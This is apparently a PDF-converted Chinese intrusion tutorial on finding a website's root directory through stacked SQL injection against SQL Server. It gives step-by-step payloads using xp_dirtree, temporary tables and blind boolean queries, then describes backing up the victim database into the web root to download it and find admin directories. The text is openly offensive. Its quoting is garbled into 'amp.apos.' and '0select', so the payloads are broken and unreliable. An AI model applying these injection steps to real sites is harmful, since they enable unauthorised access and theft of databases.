入侵中快速获得Web根目录的技巧 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/460/2021_2022__E5_85_A5_E4_BE_B5_E4_B8_AD_E5_c98_460943.htm 本文章针对以下环境，如果不符合以下的条件，就不适合用下面提到的方法来获得WEB根目录。 1、SQL SERVER允许执行多行语句； 2、该网站能进行注入； 3、没有返回详细的错误提示信息(否则没有必要用这种方法)。 根据经验，猜疑WEB根目录的顺序是：d盘、e盘、c盘，首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句：.create table temp(dir nvarchar(255),depth varchar(255)).--,该表的dir字段表示目录的名称，depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树，语句如下： .insert temp(dir,depth) exec master.dbo.xp_dirtree amp.apos..-- 在进行下面的操作前，先查看D盘有几个文件夹，这样对D盘有个大致的了解，语句如下： and (0select count(*) from temp where depth=1 and dir not in(amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.))>=数字(数字=0、1、2、3...) 接着，我们在对方的网站上找几个一级子目录，如user、photo，然后，用筛选的方法来判断WEB根目录上是否存在此盘上，语句如下： and (0select count(*) from temp where diramp.apos.)看语句的返回结果，如果为真，表示WEB根目录有可能在此盘上，为了进一步确认，多测试几个子目录： and (0select count(*) from temp where diramp.apos.)... 如果所有的测试结果都为真，表示WEB根目录很有可能在此盘上。 下面假设找到的WEB根

目录在此盘上，用以下的语句来获得一级子目录的深度：and (0select depth from temp where dir=amp.apos.)>=数字(数字=1、2、3...) 假设得到的depth是3,说明user目录是D盘的3级目录，则WEB根目录是D盘的二级目录。 目前我们已经知道了根目录所在的盘符和深度，要找到根目录的具体位置，我们来从D盘根目录开始逐一搜寻，当然，没有必要知道每个目录的名称，否则太耗费时间了。 接下来，另外建立一个临时表，用来存放D盘的1级子目录下的所有目录，语句如下：.create table temp1(dir nvarchar(255),depth varchar(255)).-- 然后把从D盘的第一个子目录下的所有目录存到temp1中，语句如下： declare @dirname varchar(255).set @dirname=amp.apos.(0select top 1 dir from (0select top 1 dir from temp where depth=1 and dir not in(amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.) order by dir desc)T order by dir).insert into temp1 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的第二个子目录下的所有目录存到temp1中，只需把第二个top 1改为top 2就行了。 现在，temp1中已经保存了所有D盘第一级子目录下的所有目录,然后，我们用同样的方法来判断根目录是否在此一级子目录下： and (0select count(*) from temp1 where diramp.apos.)如果返回为真，表示根目录可能在此子目录下，记住要多测试几个例子，如果都返回为假，则表明WEB根目录不在此目录下，然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表，来判断WEB根目录是否在其下。但是，要注意，用xp_dirtree前一定要把temp1表中的内容删除。 现在假设，WEB根目录在D盘的第一级子

目录下，该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2，我们需要知道website下到底哪个才是真正的WEB根目录。现在，我们用同样的方法，再建立第3个临时表：.create table temp2(dir nvarchar(255),depth varchar(255)).-- 然后把从D盘的website下的所有目录存到temp2中，语句如下：declare @dirname varchar(255).set @dirname=amp.apos. (0select top 1 dir from (0select top 1 dir from temp1 where depth=1 and dir not in(amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.,amp.apos.) order by dir desc)T order by dir).insert into temp2 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中，只需把第二个top 1改为top 2就行了。 现在，我们用同样的方法判断该目录是否为根目录：and (0select count(*) from temp2 where diramp.apos.)如果返回为真，为了确定我们的判断，多测试几个例子，方法上面都讲到了，如果多个例子都返回为真，那么就确定了该目录为WEB根目录。 用以上的方法基本上可以获得WEB根目录，现在我们假设WEB根目录是：D:\website\www 然后，我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空，然后C、D、E盘的目录树分别存到temp、temp1、temp2中。 下载完数据库后要记得把三个临时表DROP掉，现在我们在下载的数据库中可以找到所有的目录列表，包括后台管理的目录以及更多信息。 